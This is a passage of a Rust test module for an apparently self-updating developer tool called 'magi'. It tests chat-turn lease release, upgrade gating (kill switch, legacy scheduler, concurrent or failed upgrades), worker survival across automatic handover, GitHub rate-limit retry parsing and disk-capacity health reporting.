23727            .begin_talk_turn(&id)
23728            .expect("web claim")
23729            .expect("free again");
23730        drop(guard);
23731    }
23732
23733    #[test]
23734    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23735        let home = TempDir::new().expect("temp home");
23736        let talks = Talks::at(home.path().join("talks"));
23737        let ui = Ui::new(
23738            Queue::at(home.path().join("queue")),
23739            Questions::at(home.path().join("questions")),
23740            talks.clone(),
23741            home.path().join("runs"),
23742            home.path().to_path_buf(),
23743            PathBuf::from("/repo"),
23744        )
23745        .with_worktrees_root(home.path().join("wt"));
23746        let id = "20260901-000000-order";
23747        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23748        // Hold the slot mutex so the drop can finish the lease but not the slot.
23749        let slots = ui.talk_turns.lock().unwrap();
23750        let dropper = std::thread::spawn(move || drop(turn));
23751        let start = std::time::Instant::now();
23752        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23753            std::thread::sleep(Duration::from_millis(5));
23754        }
23755        assert!(!talks.turn_held(id), "the lease is released first");
23756        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23757        drop(slots);
23758        dropper.join().expect("join");
23759        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23760    }
23761
23762    #[tokio::test]
23763    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23764        let fx = Fixture::start().await;
23765        let mut beat = crate::daemon::Status::new();
23766        beat.worker_protocol = None;
23767        beat.pid = 4321;
23768        beat.updated_at = jiff::Timestamp::now();
23769        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23770            .expect("publish a heartbeat");
23771
23772        let res = fx.post("/api/upgrade", None).await;
23773        assert_eq!(res.status, 409);
23774    }
23775
23776    /// [`should_spawn_recheck`] must refuse for the same two reasons
23777    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23778    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23779    /// Purely a predicate over config and the environment - no network, no
23780    /// disk, no runtime - so unlike the fixture-based tests around it this
23781    /// one needs neither.
23782    #[test]
23783    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23784        assert!(!should_spawn_recheck(&crate::config::Update {
23785            mode: UpdateMode::Off,
23786            interval: None,
23787            auto_restart: false,
23788        }));
23789
23790        // SAFETY: single-threaded as far as this variable goes, the same
23791        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23792        unsafe {
23793            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23794        }
23795        let killed = should_spawn_recheck(&crate::config::Update {
23796            mode: UpdateMode::Notify,
23797            interval: None,
23798            auto_restart: false,
23799        });
23800        unsafe {
23801            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23802        }
23803        assert!(
23804            !killed,
23805            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23806             one-time startup check"
23807        );
23808
23809        assert!(should_spawn_recheck(&crate::config::Update {
23810            mode: UpdateMode::Notify,
23811            interval: None,
23812            auto_restart: false,
23813        }));
23814    }
23815
23816    /// [`recheck_poll_period`] must track a configured `[update] interval`
23817    /// shorter than its own default ceiling - a fixed sleep here would leave
23818    /// an operator's short interval waiting on the next wake-up instead of on
23819    /// `should_check`, which is the same bug this whole task exists to fix,
23820    /// just one level down.
23821    #[test]
23822    fn recheck_poll_period_tracks_a_short_configured_interval() {
23823        let short = crate::config::Update {
23824            mode: UpdateMode::Notify,
23825            interval: Some("1m".to_owned()),
23826            auto_restart: false,
23827        };
23828        let period = recheck_poll_period(&short);
23829        assert!(
23830            period <= Duration::from_secs(30),
23831            "a one-minute interval must wake the task far sooner than the \
23832             default ceiling, or the deck would not notice within the \
23833             interval the operator configured: got {period:?}"
23834        );
23835
23836        let default = crate::config::Update {
23837            mode: UpdateMode::Notify,
23838            interval: None,
23839            auto_restart: false,
23840        };
23841        assert_eq!(
23842            recheck_poll_period(&default),
23843            UPDATE_RECHECK_POLL_MAX,
23844            "the default day-long interval should poll at the (capped) \
23845             ceiling rather than needlessly often"
23846        );
23847    }
23848
23849    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23850    /// same throttle `updater::Checker::should_check` already gives the
23851    /// CLI's notify mode. Built over an explicit state file via
23852    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23853    /// write the operator's real `last_update_check.json` - and therefore
23854    /// cannot flake on whatever that file happens to say on the machine
23855    /// running the test.
23856    #[test]
23857    fn recheck_skips_the_network_before_the_interval_elapses() {
23858        let dir = TempDir::new().expect("temp dir");
23859        let path = dir.path().join("state.json");
23860        let state = kaishin::UpdateCheckState {
23861            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23862            last_known_latest: None,
23863            last_known_url: None,
23864        };
23865        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23866
23867        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23868        assert!(
23869            !update_recheck_due(&checker, None),
23870            "a check made moments ago must not be repeated before the \
23871             configured interval elapses"
23872        );
23873    }
23874
23875    /// An upgrade this deck already started must not be raced by a recheck
23876    /// that discovers a newer release mid-install - regardless of what
23877    /// `should_check` says, which is why the state file here is missing
23878    /// entirely: read alone, that alone would answer "never checked, go
23879    /// ahead".
23880    #[test]
23881    fn recheck_defers_to_an_upgrade_already_in_flight() {
23882        let dir = TempDir::new().expect("temp dir");
23883        let path = dir.path().join("state.json");
23884        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23885        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23886
23887        assert!(
23888            !update_recheck_due(&checker, Some(&progress)),
23889            "a recheck must not run while an upgrade this deck started is \
23890             still moving"
23891        );
23892    }
23893
23894    #[tokio::test]
23895    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23896        // The same env var the background check honours (`disabled_by_env`)
23897        // must also stop a button press before it ever calls
23898        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23899        // means "never contact GitHub from this process", and a tap on the
23900        // upgrade button must not override that any more than a broken
23901        // `magi.toml` may. Left unset, this fixture's default config would
23902        // otherwise reach a real, unauthenticated GitHub call.
23903        //
23904        // SAFETY: single-threaded as far as this variable goes - nothing else
23905        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23906        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23907        unsafe {
23908            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23909        }
23910        let fx = Fixture::start().await;
23911        let res = fx.post("/api/upgrade", None).await;
23912        unsafe {
23913            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23914        }
23915        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23916        let body = res.json();
23917        assert!(body["to"].is_null(), "there was no release to move to");
23918        assert!(body["parked"].is_null(), "and nothing was parked");
23919        assert!(
23920            body["detail"]
23921                .as_str()
23922                .unwrap()
23923                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23924            "{body:?}"
23925        );
23926    }
23927
23928    #[test]
23929    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
23930        use AutoUpgradeDecision::{Skip, Trigger};
23931        let mut cfg = Update::default();
23932        assert!(matches!(
23933            auto_upgrade_decision(&cfg, false, false, "v2", None),
23934            Skip(_)
23935        ));
23936        cfg.auto_restart = true;
23937        assert_eq!(
23938            auto_upgrade_decision(&cfg, false, false, "v2", None),
23939            Trigger
23940        );
23941        for (disabled, moving, failed) in [
23942            (true, false, None),
23943            (false, true, None),
23944            (false, false, Some("v2")),
23945        ] {
23946            assert!(matches!(
23947                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
23948                Skip(_)
23949            ));
23950        }
23951        assert_eq!(
23952            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
23953            Trigger
23954        );
23955        cfg.mode = UpdateMode::Off;
23956        assert!(matches!(
23957            auto_upgrade_decision(&cfg, false, false, "v2", None),
23958            Skip(_)
23959        ));
23960    }
23961
23962    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23963        Box::pin(async { anyhow::bail!("test installer failed") })
23964    }
23965
23966    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
23967        std::sync::LazyLock::new(Mutex::default);
23968
23969    fn test_replace_and_signal_handover(
23970        home: PathBuf,
23971    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23972        Box::pin(async move {
23973            if let Some(mut progress) = updater::read_progress(&home) {
23974                progress.advance(updater::Stage::Replaced);
23975                updater::write_progress_logged(&home, &progress);
23976            }
23977            if let Some(signal) = TEST_AUTO_HANDOVERS
23978                .lock()
23979                .unwrap_or_else(PoisonError::into_inner)
23980                .remove(&home)
23981            {
23982                signal.notify_one();
23983            }
23984            Ok(())
23985        })
23986    }
23987
23988    #[tokio::test]
23989    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
23990        let home = TempDir::new().unwrap();
23991        let mut ui = idle_ui(&home);
23992        ui.repo = home.path().to_path_buf();
23993        // Every successful trigger in this test uses this seam, never the installer.
23994        ui.upgrade_runner = fail_test_upgrade;
23995        let ui = Arc::new(ui);
23996        let latest = |tag: &str| {
23997            Some(kaishin::LatestRelease {
23998                tag_name: tag.into(),
23999                html_url: String::new(),
24000            })
24001        };
24002
24003        // Opt-in default (`auto_restart = false`) does nothing.
24004        assert_eq!(
24005            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24006                .await
24007                .status(),
24008            StatusCode::NO_CONTENT
24009        );
24010        assert!(updater::read_progress(home.path()).is_none());
24011
24012        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24013        std::fs::write(
24014            home.path().join("magi.toml"),
24015            "[update]\nmode = \"off\"\nauto_restart = true\n",
24016        )
24017        .unwrap();
24018        assert_eq!(
24019            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24020                .await
24021                .status(),
24022            StatusCode::NO_CONTENT
24023        );
24024        assert!(updater::read_progress(home.path()).is_none());
24025
24026        std::fs::write(
24027            home.path().join("magi.toml"),
24028            "[update]\nauto_restart = true\n",
24029        )
24030        .unwrap();
24031
24032        // Missing detected release skips without re-querying.
24033        assert_eq!(
24034            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24035                .await
24036                .status(),
24037            StatusCode::NO_CONTENT
24038        );
24039        assert!(updater::read_progress(home.path()).is_none());
24040
24041        // Legacy embedded scheduler is still refused.
24042        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24043        std::fs::write(
24044            home.path().join("daemon.json"),
24045            serde_json::json!({
24046                "schema": 2,
24047                "pid": legacy_pid,
24048                "updated_at": Timestamp::now().to_string(),
24049                "idle": true,
24050            })
24051            .to_string(),
24052        )
24053        .unwrap();
24054        assert_eq!(
24055            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24056                .await
24057                .status(),
24058            StatusCode::CONFLICT
24059        );
24060        assert!(updater::read_progress(home.path()).is_none());
24061        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24062
24063        // Concurrent upgrade guard refuses while the request gate is held.
24064        let gate = ui.upgrade_gate.lock().await;
24065        assert_eq!(
24066            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24067                .await
24068                .status(),
24069            StatusCode::CONFLICT
24070        );
24071        drop(gate);
24072
24073        // Active chat turns no longer defer automatic upgrades.
24074        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24075        assert_eq!(
24076            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24077                .await
24078                .status(),
24079            StatusCode::ACCEPTED
24080        );
24081        let progress = updater::read_progress(home.path()).unwrap();
24082        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24083        assert_eq!(progress.stage, updater::Stage::Downloading);
24084        assert_eq!(
24085            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24086                .await
24087                .status(),
24088            StatusCode::CONFLICT
24089        );
24090        assert!(progress.parked_run.is_none());
24091        assert!(ui.start_detached_loop().await.is_err());
24092        assert!(ui.start_loop(None).is_err());
24093        assert!(ui.begin_resume("late").is_err());
24094        assert_eq!(
24095            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24096                .await
24097                .status(),
24098            StatusCode::NO_CONTENT
24099        );
24100        tokio::time::timeout(Duration::from_secs(2), async {
24101            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24102                tokio::task::yield_now().await;
24103            }
24104        })
24105        .await
24106        .unwrap();
24107        let progress = updater::read_progress(home.path()).unwrap();
24108        assert_eq!(progress.stage, updater::Stage::Failed);
24109
24110        // Same-release failure is suppressed for automatic retries.
24111        assert_eq!(
24112            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24113                .await
24114                .status(),
24115            StatusCode::NO_CONTENT
24116        );
24117
24118        // Manual retry still uses the shared path for the same tag.
24119        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
24120        assert_eq!(
24121            finish_upgrade_request(&ui, result).status(),
24122            StatusCode::ACCEPTED
24123        );
24124        assert_eq!(
24125            updater::read_progress(home.path()).unwrap().trigger,
24126            updater::UpgradeTrigger::Manual
24127        );
24128        tokio::time::timeout(Duration::from_secs(2), async {
24129            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24130                tokio::task::yield_now().await;
24131            }
24132        })
24133        .await
24134        .unwrap();
24135
24136        // A newer release tag clears suppression for automatic updates.
24137        assert_eq!(
24138            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
24139                .await
24140                .status(),
24141            StatusCode::ACCEPTED
24142        );
24143        assert_eq!(
24144            updater::read_progress(home.path()).unwrap().trigger,
24145            updater::UpgradeTrigger::Auto
24146        );
24147        tokio::time::timeout(Duration::from_secs(2), async {
24148            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24149                tokio::task::yield_now().await;
24150            }
24151        })
24152        .await
24153        .unwrap();
24154    }
24155
24156    #[tokio::test]
24157    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
24158        let home = TempDir::new().unwrap();
24159        std::fs::write(
24160            home.path().join("magi.toml"),
24161            "[update]\nauto_restart = true\n",
24162        )
24163        .unwrap();
24164        let mut ui = idle_ui(&home);
24165        ui.repo = home.path().to_path_buf();
24166        ui.upgrade_runner = test_replace_and_signal_handover;
24167        let ui = Arc::new(ui);
24168
24169        let workers = [
24170            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
24171            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
24172            (
24173                "333333",
24174                3_u64,
24175                "daemon-service",
24176                "service:maintenance",
24177                41_003_u32,
24178            ),
24179        ];
24180        let mut exec_leases = Vec::new();
24181        for (id, sequence, kind, key, pid) in workers {
24182            let dir = home.path().join("workers/jobs").join(id);
24183            std::fs::create_dir_all(&dir).unwrap();
24184            let payload = if kind == "chat" {
24185                serde_json::json!({ "talk": "active-chat" })
24186            } else {
24187                serde_json::json!({})
24188            };
24189            let job = crate::worker::Job {
24190                id: id.into(),
24191                sequence,
24192                kind: kind.into(),
24193                key: key.into(),
24194                payload,
24195                generation: "gen-old".into(),
24196                version: Some("0.1.0".into()),
24197                status: crate::worker::Status::Running,
24198                result: None,
24199                pid: Some(pid),
24200                created_at: 1,
24201                finished_at: None,
24202            };
24203            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
24204            exec_leases.push(crate::worker::execution_lease_for_test(
24205                &dir.join("live.lock"),
24206            ));
24207        }
24208        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
24209            .unwrap()
24210            .expect("free task lease");
24211        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
24212            .unwrap()
24213            .expect("free chat worker lease");
24214        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
24215            .unwrap()
24216            .expect("free service lease");
24217        let chat_turn = ui
24218            .begin_talk_turn("active-chat-turn")
24219            .expect("claim chat turn")
24220            .expect("free chat turn");
24221        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
24222
24223        // An unreadable reservation must defer replacement, not look like an
24224        // idle scheduler. Once repaired, the same release can still proceed.
24225        let corrupt = home.path().join("workers/jobs/444444");
24226        std::fs::create_dir_all(&corrupt).unwrap();
24227        std::fs::write(corrupt.join("job.json"), "{").unwrap();
24228        let latest = || {
24229            Some(kaishin::LatestRelease {
24230                tag_name: "v999.0.0".into(),
24231                html_url: String::new(),
24232            })
24233        };
24234        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
24235        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
24236        assert!(updater::read_progress(home.path()).is_none());
24237        std::fs::remove_dir_all(corrupt).unwrap();
24238
24239        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24240            .await
24241            .expect("bind loopback");
24242        let address = listener.local_addr().expect("address");
24243        let served =
24244            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
24245
24246        let handover_signal = Arc::new(Notify::new());
24247        TEST_AUTO_HANDOVERS
24248            .lock()
24249            .unwrap_or_else(PoisonError::into_inner)
24250            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
24251
24252        let admission = ui.begin_admission().expect("admit");
24253        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
24254        assert_eq!(response.status(), StatusCode::ACCEPTED);
24255        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
24256            .await
24257            .expect("auto upgrade runner must reach handover");
24258        let replaced = updater::read_progress(home.path()).unwrap();
24259        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
24260        assert_eq!(replaced.stage, updater::Stage::Replaced);
24261
24262        let successor_started = std::sync::atomic::AtomicBool::new(false);
24263        let handover = hand_over(home.path(), &ui.admissions, served, || {
24264            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24265            Ok(1)
24266        });
24267        tokio::pin!(handover);
24268        // Short admission drain still waits for an in-flight persistence/reservation guard.
24269        std::future::poll_fn(|cx| {
24270            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24271            std::task::Poll::Ready(())
24272        })
24273        .await;
24274        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
24275        assert!(ui.begin_admission().is_err());
24276
24277        drop(admission);
24278        tokio::time::timeout(Duration::from_secs(2), handover)
24279            .await
24280            .expect("automatic handover must not wait for active workers")
24281            .expect("handover");
24282        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24283
24284        let successor = bind_waiting(address)
24285            .await
24286            .expect("successor binds released address");
24287        assert_eq!(successor.local_addr().unwrap(), address);
24288
24289        let restarting = updater::read_progress(home.path()).unwrap();
24290        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
24291        assert_eq!(restarting.stage, updater::Stage::Restarting);
24292        assert!(restarting.parked_run.is_none());
24293        assert!(restarting.parked_talks.is_empty());
24294
24295        let active_after = crate::worker::observe_active(home.path()).unwrap();
24296        assert_eq!(active_after.len(), 3);
24297        for (id, _, kind, key, pid) in workers {
24298            let job = active_after
24299                .iter()
24300                .find(|job| job.id == id)
24301                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
24302            assert_eq!(job.kind, kind);
24303            assert_eq!(job.pid, Some(pid));
24304            assert_eq!(job.generation, "gen-old");
24305            assert_eq!(job.status, crate::worker::Status::Running);
24306            assert!(
24307                crate::worker::control(home.path(), key).unwrap().is_none(),
24308                "no park/stop control may be requested for {key}"
24309            );
24310        }
24311        assert!(
24312            !home.path().join("worker-parks").exists(),
24313            "automatic handover must never request worker parks"
24314        );
24315        assert!(chat_turn.owns(), "chat lease survives automatic handover");
24316        assert!(
24317            crate::worker::try_lease(home.path(), "task:active-task")
24318                .unwrap()
24319                .is_none()
24320        );
24321        assert!(
24322            crate::worker::try_lease(home.path(), "chat:active-chat")
24323                .unwrap()
24324                .is_none()
24325        );
24326        assert!(
24327            crate::worker::try_lease(home.path(), "service:maintenance")
24328                .unwrap()
24329                .is_none()
24330        );
24331
24332        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
24333        assert!(
24334            log.contains("auto-upgrade: beginning update and restart"),
24335            "{log}"
24336        );
24337        assert!(!log.contains("waiting for idle"), "{log}");
24338        assert!(!log.contains("idle;"), "{log}");
24339
24340        drop(successor);
24341        drop(chat_turn);
24342        drop(service_lease);
24343        drop(chat_lease);
24344        drop(task_lease);
24345        drop(exec_leases);
24346    }
24347
24348    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24349        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24350        p.stage = stage;
24351        p
24352    }
24353
24354    #[test]
24355    fn busy_stages_match_the_ui_set() {
24356        use crate::updater::Stage;
24357        assert!(APP_JS.contains(
24358            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24359        ));
24360        for s in [
24361            Stage::Downloading,
24362            Stage::Replaced,
24363            Stage::Parking,
24364            Stage::Restarting,
24365        ] {
24366            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24367        }
24368        for s in [Stage::Done, Stage::Failed] {
24369            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24370        }
24371        assert!(upgrade_in_motion(None).is_none());
24372    }
24373
24374    #[tokio::test]
24375    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24376        use crate::updater::Stage;
24377        for stage in [
24378            Stage::Downloading,
24379            Stage::Replaced,
24380            Stage::Parking,
24381            Stage::Restarting,
24382        ] {
24383            let fx = Fixture::start().await;
24384            let seeded = seeded_progress(stage);
24385            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24386            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24387                .expect("read");
24388
24389            let res = fx.post("/api/upgrade", None).await;
24390            assert_eq!(res.status, 409, "{stage:?}");
24391            let err = res.json()["error"].as_str().unwrap().to_owned();
24392            assert!(err.contains("already in progress"), "{err}");
24393            assert!(err.contains(stage.as_str()), "{err}");
24394
24395            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24396                .expect("read");
24397            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24398            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24399                .unwrap_or_default();
24400            assert!(!log.contains("signalling HANDOVER"), "{log}");
24401        }
24402    }
24403
24404    #[test]
24405    fn upgrade_retry_timing_only_parses_known_diagnostics() {
24406        assert_eq!(
24407            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24408            Some(3723)
24409        );
24410        assert_eq!(
24411            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
24412            Some(60)
24413        );
24414        assert_eq!(
24415            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24416            Some(0)
24417        );
24418        for message in [
24419            "permission denied",
24420            "GitHub API rate limit exceeded",
24421            "GitHub rate limit (resets in unknown)",
24422            "GitHub rate limit (resets in 18446744073709551615d)",
24423        ] {
24424            assert_eq!(upgrade_retry_after(message), None, "{message}");
24425        }
24426    }
24427
24428    #[tokio::test]
24429    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24430        let home = TempDir::new().unwrap();
24431        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24432        ui.start_loop(None).unwrap();
24433        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24434        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24435        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24436        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24437        let response = finish_upgrade_request(&ui, result);
24438        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24439        assert_eq!(response.headers()["retry-after"], "120");
24440        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24441            .await
24442            .unwrap();
24443        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24444        assert!(body["error"].as_str().unwrap().contains(reason));
24445        assert_eq!(body["retry_after_secs"], 120);
24446        assert!(body["retry_at"].as_u64().is_some());
24447        for _ in 0..2 {
24448            let view = health(State(ui.clone())).await.unwrap().0;
24449            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24450            assert_eq!(failure, body);
24451        }
24452        assert_eq!(
24453            std::fs::read(updater::progress_path(home.path())).unwrap(),
24454            before
24455        );
24456        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24457        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24458        // A conflicting request must not erase the actionable earlier failure.
24459        let gate = ui.upgrade_gate.lock().await;
24460        assert_eq!(
24461            upgrade_post(State(ui.clone())).await.status(),
24462            StatusCode::CONFLICT
24463        );
24464        drop(gate);
24465        assert!(
24466            health(State(ui.clone()))
24467                .await
24468                .unwrap()
24469                .0
24470                .upgrade_request_error
24471                .is_some()
24472        );
24473        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
24474        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
24475        assert!(
24476            health(State(ui.clone()))
24477                .await
24478                .unwrap()
24479                .0
24480                .upgrade_request_error
24481                .is_none()
24482        );
24483        let live = ui.lock_loop().live.take().unwrap();
24484        live.stop.stop();
24485        live.handle.await.unwrap();
24486    }
24487
24488    #[tokio::test]
24489    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
24490        use crate::updater::Stage;
24491        let repo = TempDir::new().expect("repo dir");
24492        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24493            .expect("write magi.toml");
24494        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24495        for stage in [Stage::Done, Stage::Failed] {
24496            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
24497            let res = fx.post("/api/upgrade", None).await;
24498            assert_eq!(res.status, 200, "{stage:?}");
24499        }
24500        // No record at all, and the gate was released by the earlier calls.
24501        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
24502        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
24503    }
24504
24505    #[tokio::test]
24506    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
24507        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
24508        // and the route answers from its own logic.
24509        //
24510        // This test used to lean on the fixture's placeholder repo failing
24511        // config discovery, which left `mode = "notify"` - and a live,
24512        // unauthenticated call to the GitHub releases API inside a unit test.
24513        // GitHub allows 60 of those an hour per address, so the suite went red
24514        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
24515        // long as somebody kept re-running it: every attempt spent another
24516        // request. Six reruns across four pull requests were charged to that
24517        // before it was read as a rate limit rather than a flake.
24518        //
24519        // What the assertion is about is the "already current" branch, which
24520        // is reached by there being no newer release *or* nowhere to look. The
24521        // second one needs no network and cannot be rate limited.
24522        let repo = TempDir::new().expect("repo dir");
24523        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24524            .expect("write magi.toml");
24525        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24526
24527        // It must answer 200 and leave the process alone: restarting for an
24528        // upgrade that did not happen parks the run in flight and drops every
24529        // connection to pay for nothing. A probe against a deck already on the
24530        // newest build did exactly that, which is how this case got its own
24531        // branch.
24532        let res = fx.post("/api/upgrade", None).await;
24533        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24534        let body = res.json();
24535        assert!(body["to"].is_null(), "there was no release to move to");
24536        assert!(body["parked"].is_null(), "and nothing was parked");
24537        assert!(
24538            body["detail"]
24539                .as_str()
24540                .unwrap()
24541                .contains("nothing restarted"),
24542            "{body:?}"
24543        );
24544    }
24545
24546    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24547        tokio::time::timeout(Duration::from_secs(5), async {
24548            while state.lock().unwrap().in_flight {
24549                tokio::task::yield_now().await;
24550            }
24551        })
24552        .await
24553        .expect("capacity scan finished");
24554    }
24555
24556    fn disk_test_scope(home: &FsPath) -> DiskScope {
24557        DiskScope {
24558            runs: home.join("runs"),
24559            worktrees: home.join("worktrees"),
24560            cache: Some(home.join("cache")),
24561        }
24562    }
24563
24564    fn known_disk_capacity() -> DiskCapacity {
24565        DiskCapacity {
24566            free_bytes: Some(100),
24567            runs_bytes: Some(200),
24568            worktrees_bytes: Some(300),
24569            cache_bytes: Some(400),
24570        }
24571    }
24572
24573    #[tokio::test]
24574    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24575        let home = TempDir::new().unwrap();
24576        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24577        let mut ui = delta_test_ui(home.path());
24578        let state = Arc::get_mut(&mut ui).unwrap();
24579        state.repo = home.path().to_owned();
24580        state.worktrees_root = home.path().join("worktrees");
24581        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24582        ui.monitor
24583            .worker_started
24584            .store(true, std::sync::atomic::Ordering::SeqCst);
24585        let cfg = deputy_config(&ui.repo);
24586        let scope = DiskScope::of(&ui, cfg.as_ref());
24587        let (started, reached) = tokio::sync::oneshot::channel();
24588        let (release, blocked) = std::sync::mpsc::channel();
